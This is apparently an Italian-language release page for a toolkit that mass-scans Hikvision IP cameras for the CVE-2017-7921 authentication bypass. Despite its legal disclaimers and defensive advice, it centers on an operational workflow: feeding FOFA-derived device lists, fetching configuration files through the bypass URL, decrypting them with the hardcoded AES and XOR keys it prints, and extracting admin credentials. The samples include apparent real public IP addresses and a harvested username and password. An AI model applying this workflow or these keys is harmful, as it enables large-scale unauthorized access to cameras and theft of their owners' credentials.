Torna agli aggiornamenti
New releaseAug 10, 2026

CVE-2017-7921-Research-Toolkit GUI

Utilizzato per testare rapidamente la vulnerabilità CVE-2017-7921 di Hikvision tramite FOFA, fornendo le credenziali di login e generando un file JSON.

Condividi

CVE-2017-7921 Research Toolkit

Dichiarazione di sicurezza: questo strumento è destinato esclusivamente a ricerche di sicurezza autorizzate e alla verifica delle vulnerabilità.

Indice


⚖️ Dichiarazione legale ed etica

Nota importante: utilizzando questo strumento, accetti i seguenti termini

  • Solo test autorizzati: utilizzalo esclusivamente su sistemi per i quali hai una esplicita autorizzazione scritta.
  • Rispetta la legge: attieniti rigorosamente alla Legge sulla sicurezza informatica e alle normative locali applicabili.
  • Divulgazione responsabile: segnala le vulnerabilità scoperte ai produttori attraverso i canali ufficiali.
  • Scopo educativo: questo strumento è finalizzato ad aumentare la consapevolezza sulla sicurezza IoT.
  • Responsabilità personale: l'uso improprio dello strumento comporta conseguenze legali a carico dell'utente.

Questo progetto segue la Policy sulla sicurezza informatica di GitHub e le linee guida per la divulgazione del Centro di risposta alla sicurezza di Hikvision.


📖 Descrizione del progetto

Strumento di scansione e verifica batch per la vulnerabilità di bypass dell'autenticazione CVE-2017-7921 nelle telecamere IP Hikvision, con supporto per la decrittazione automatica dei file di configurazione e l'estrazione delle credenziali.

Obiettivi di progettazione

  • Aiutare i ricercatori di sicurezza a valutare lo stato di sicurezza di dispositivi su larga scala.
  • Fornire ai proprietari dei dispositivi la capacità di autoispezione.
  • Supportare la generazione di report con suggerimenti di correzione.
  • Promuovere il miglioramento della sicurezza dei dispositivi IoT.

✨ Caratteristiche

  • ✅ Scansione batch di elenchi di dispositivi in formato JSON
  • ✅ Scansione concorrente multi-thread (numero di thread configurabile)
  • ✅ Download automatico dei file di configurazione crittografati
  • ✅ Decrittazione in tempo reale ed estrazione delle credenziali di accesso
  • ✅ Visualizzazione in tempo reale dello stato di avanzamento (tqdm)
  • ✅ Salvataggio automatico dei risultati in report JSON
  • ✅ Supporto per la ripresa della scansione dopo interruzione

🛠️ Installazione

Requisiti di sistema

  • Python 3.7 o superiore
  • Supportato solo su Linux / macOS (funzionalità limitate su Windows)

Installazione delle dipendenze

git clone https://github.com/[tuo_username]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt

Contenuto di requirements.txt

requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0

📊 Utilizzo

1. Preparare il file dei dati dei dispositivi

Nella directory dello strumento, crea la cartella zc/ e inserisci l'elenco dei dispositivi in formato JSON (un oggetto dispositivo per riga):

mkdir zc

Esempio di file: devices_2025.json

{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}

Descrizione dei campi:

CampoDescrizioneObbligatorio
linkIndirizzo HTTP/HTTPS del dispositivo✅ Sì
cityInformazioni sulla città❌ No
countryCodice paese❌ No
orgOrganizzazione/ISP❌ No

2. Eseguire lo strumento di scansione

python batch_decrypt.py

3. Esempio di interazione

════════════════════════════════════════════════════════════════════════════════
Strumento di scansione batch delle vulnerabilità dei file di configurazione delle telecamere Hikvision
════════════════════════════════════════════════════════════════════════════════

File JSON disponibili:
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45.678 byte)
════════════════════════════════════════════════════════════════════════════════

Seleziona il numero del file: 1
File selezionato: devices_2025.json
Caricamento dati dei dispositivi in corso...

Numero totale di dispositivi da scansionare: 2000
Inserisci il numero di thread concorrenti (default: 5): 10
Thread concorrenti: 10
Avvio scansione...

Dispositivi scansionati totali: 2000
Dispositivi vulnerabili trovati: 127

Dispositivi vulnerabili salvati in: vulnerable_devices.json

📁 Output

Al termine della scansione viene generato il file vulnerable_devices.json, contenente le informazioni di tutti i dispositivi vulnerabili.

Esempio di output:

[
  {
    "url": "http://109.50.152.186",
    "config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
    "username": "admin",
    "password": "123456",
    "city": "Lisbon",
    "country": "PT",
    "org": "ISP Telecom",
    "status": "success"
  }
]

🛡️ Suggerimenti per la difesa e la correzione

Per i proprietari dei dispositivi

  1. Aggiornare immediatamente il firmware: visita il sito ufficiale di Hikvision per scaricare l'ultima versione.
  2. Modificare la password predefinita: anche dopo l'aggiornamento, cambia la password predefinita di admin.
  3. Isolamento di rete: posiziona le telecamere in una VLAN separata, vietandone l'accesso diretto da Internet.
  4. Abilitare la whitelist IP: consenti solo indirizzi IP attendibili per l'accesso all'interfaccia di gestione.

Per i professionisti della sicurezza

  1. Mantenere riservati i risultati della scansione: non divulgare i dettagli dei dispositivi non ancora riparati.
  2. Assistere nella correzione: contatta attivamente i proprietari dei dispositivi per fornire supporto tecnico.
  3. Report conformi: genera report di valutazione della sicurezza conformi agli standard ISO 27001.

🔬 Dettagli tecnici

Principio della vulnerabilità

  • Bypass dell'autenticazione: /System/configurationFile?auth=YWRtaW46MTEK utilizza credenziali hardcoded.
  • Crittografia debole: il file di configurazione è crittografato con una chiave AES-ECB fissa.
  • Esposizione della chiave: la chiave 279977f62f6cfd2d91cd75b889ce0c9a è hardcodata nel firmware.

Flusso di crittografia

  1. Acquisizione del file binario crittografato di configurazione.
  2. Decrittografia AES-ECB (rimozione del primo blocco).
  3. Offuscamento XOR (chiave: 0x73, 0x8B, 0x55, 0x44).
  4. Estrazione tramite regex dell'account admin e dei campi password successivi.

📝 Licenza

Questo software è destinato esclusivamente a scopi di ricerca di sicurezza autorizzata e formazione. L'utente è tenuto a garantire la conformità a tutte le leggi applicabili.


🙏 Ringraziamenti

  • Grazie a Hikvision per aver risposto tempestivamente e pubblicato gli aggiornamenti del firmware.
  • Grazie alla comunità open source per i materiali di analisi delle vulnerabilità.
  • Questo progetto segue le Migliori pratiche per la ricerca sulla sicurezza IoT.

Ultimo aggiornamento: 2025-01-29 | Versione: v1.0.0 | CVE supportato: CVE-2017-7921

Categorie